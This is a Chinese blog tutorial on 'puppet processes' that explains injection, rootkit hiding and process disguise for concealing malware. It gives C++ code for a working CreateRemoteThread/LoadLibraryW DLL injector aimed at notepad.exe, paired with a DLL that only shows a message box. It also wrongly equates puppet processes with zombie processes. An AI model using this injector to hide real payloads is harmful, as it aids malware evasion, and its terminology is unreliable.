傀儡进程详解

N阶二进制

于 2024-06-21 07:00:00 发布

阅读量633

点赞数 3

分类专栏：信息安全文章标签： c++

本文链接：https://blog.csdn.net/ARV000/article/details/139813091

版权

信息安全专栏收录该内容

7 篇文章 0 订阅

订阅专栏

傀儡进程详解

傀儡进程（Ghost Process或Zombie Process）是指一种在计算机系统中，表面上看起来是合法的进程，但实际上是被攻击者操控，用于隐藏恶意活动的进程。这种技术通常被用来在受感染系统中隐藏恶意软件的存在，规避安全检测，进行数据窃取、远程控制或其他恶意行为。

傀儡进程的工作原理

进程注入
- 攻击者通过进程注入技术，将恶意代码注入到合法进程中。常见的方法包括DLL注入、远程线程注入和代码注入等。
- 被注入的合法进程继续正常运行，但同时执行恶意代码。
进程替换
- 攻击者替换合法进程的执行代码，使其变为恶意进程。这种技术可以通过修改进程内存或替换进程的可执行文件来实现。
隐藏技术
- 使用Rootkit等隐藏技术，使得恶意进程在系统监视工具中不可见。Rootkit可以修改操作系统内核或API函数，使得恶意进程不会出现在任务管理器等工具中。
伪装成系统进程
- 恶意进程可以伪装成系统进程，如命名为类似系统进程的名称（如svchost.exe），并运行在系统目录中，使得用户和管理员难以察觉。

傀儡进程的创建示例

以下是一个简单的示例，展示了如何使用进程注入技术将恶意代码注入到合法进程中。请注意，此示例仅用于学习目的，切勿用于非法用途。

使用C++实现DLL注入

编写恶意DLL

// malicious.dll
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        MessageBox(NULL, "Injected Successfully!", "DLL Injection", MB_OK);
    }
    return TRUE;
}

编写注入器

// injector.cpp
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>

DWORD FindProcessId(const std::wstring& processName) {
    PROCESSENTRY32 processInfo;
    processInfo.dwSize = sizeof(processInfo);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (snapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }

    Process32First(snapshot, &processInfo);
    if (!processName.compare(processInfo.szExeFile)) {
        CloseHandle(snapshot);
        return processInfo.th32ProcessID;
    }

    while (Process32Next(snapshot, &processInfo)) {
        if (!processName.compare(processInfo.szExeFile)) {
            CloseHandle(snapshot);
            return processInfo.th32ProcessID;
        }
    }

    CloseHandle(snapshot);
    return 0;
}

int main() {
    const std::wstring processName = L"notepad.exe";
    const std::wstring dllPath = L"C:\\path\\to\\malicious.dll";

    DWORD processId = FindProcessId(processName);
    if (processId == 0) {
        std::wcerr << L"Could not find process" << std::endl;
        return 1;
    }

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
    if (hProcess == NULL) {
        std::wcerr << L"Could not open process" << std::endl;
        return 1;
    }

    LPVOID pDllPath = VirtualAllocEx(hProcess, 0, dllPath.size() * sizeof(wchar_t), MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, pDllPath, dllPath.c_str(), dllPath.size() * sizeof(wchar_t), NULL);

    HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibraryW, pDllPath, 0, 0);
    if (hThread == NULL) {
        std::wcerr << L"Could not create remote thread" << std::endl;
        VirtualFreeEx(hProcess, pDllPath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    WaitForSingleObject(hThread, INFINITE);
    VirtualFreeEx(hProcess, pDllPath, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    std::wcout << L"Injection succeeded" << std::endl;
    return 0;
}